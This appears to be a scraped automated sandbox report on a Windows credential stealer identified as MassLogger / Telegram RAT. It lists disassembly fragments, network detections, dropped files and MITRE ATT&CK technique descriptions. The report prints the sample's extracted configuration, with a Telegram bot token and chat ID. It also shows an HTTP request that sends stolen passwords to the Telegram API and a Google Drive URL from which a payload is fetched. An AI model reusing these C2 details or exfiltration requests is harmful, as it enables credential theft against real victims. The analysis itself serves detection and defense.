lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Source: 00000003.00000002.3358117712.000000003377B000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI", "Telegram Chatid": "6897585916"}
Source: 4AMVusDMPP.exe.6976.3.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendMessage"}

Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3592D1EC CryptUnprotectData,		3_2_3592D1EC
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3592D9D9 CryptUnprotectData,		3_2_3592D9D9

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49710 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49710 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31ac374b9c14Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1
Source: Joe Sandbox View	IP Address: 132.226.247.73 132.226.247.73

Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 35921042h	3_2_35920C28
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 3592C985h	3_2_3592C638
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 35920671h	3_2_359203AF
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 3592C041h	3_2_3592BD88
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 3592B791h	3_2_3592B4EC
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 35921042h	3_2_35920C1A
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 3592EA48h	3_2_3592E790
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 35921042h	3_2_35920F6F
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 3592E198h	3_2_3592DEE1
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 3592C499h	3_2_3592C1F2
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 3592BBE9h	3_2_3592B944
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 3592F2F8h	3_2_3592F041
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 3592B339h	3_2_3592B07F
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 3592EEA0h	3_2_3592EBF2
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 3592E5F0h	3_2_3592E339
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 3592DD40h	3_2_3592DA89
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 3648882Dh	3_2_36488650
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 364891B7h	3_2_36488650
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then push 00000000h	3_2_3648BDF0
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 36485908h	3_2_36485660
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 364830B8h	3_2_36482E10
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 36483968h	3_2_364836C0
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 36484218h	3_2_36483F70
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 364861B8h	3_2_36485F10
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 36486A68h	3_2_364867C0
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 36481250h	3_2_36480FA8
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 364816A8h	3_2_36481400
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 36486EC0h	3_2_36486C18
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 36487770h	3_2_364874C8
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 36481F58h	3_2_36481CB0
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 36482808h	3_2_36482560
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 36485058h	3_2_36484DB0
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 36483510h	3_2_36483268
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 364854B0h	3_2_36485208
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 36485D60h	3_2_36485AB8
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_36487B4F
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 36486610h	3_2_36486368
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_36488373
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 36483DC0h	3_2_36483B18
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 36484670h	3_2_364843C8
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	3_2_3648CBE7
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 36481B00h	3_2_36481858
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 36487318h	3_2_36487070
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 36484ACAh	3_2_36484820
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 364823B0h	3_2_36482108
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then push 00000000h	3_2_3648C92F
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_36488193
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 4x nop then jmp 36482C60h	3_2_364829B8

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49708 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49706 -> 142.250.186.78:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1ic2kfQO2-jYHWvGlUEX35mQZA7m09xr7 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1ic2kfQO2-jYHWvGlUEX35mQZA7m09xr7&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4AMVusDMPP.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Iw\14-scaled.jpg

C:\Users\user\AppData\Local\Iw\Kbmandsskole.str

C:\Users\user\AppData\Local\Iw\Senatsmdets.Uns

C:\Users\user\AppData\Local\Iw\Sensuousnesses.opk

C:\Users\user\AppData\Local\Iw\Venke\prepares.pli

C:\Users\user\AppData\Local\Iw\bolsjerne.Uds

C:\Users\user\AppData\Local\Temp\nsaDEFF.tmp

C:\Users\user\AppData\Local\Temp\nslE077.tmp\System.dll

Static File Info

General

File Icon

Windows Analysis Report
4AMVusDMPP.exe

Function 004034A5 Relevance: 84.4, APIs: 32, Strings: 16, Instructions: 410
stringfilecomCOMMON

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00405AFA Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Function 00403AD8 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Function 00402F30 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 203
memoryCOMMON

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 0040591F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 6E881777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Function 00405F0D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63
registryCOMMON

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre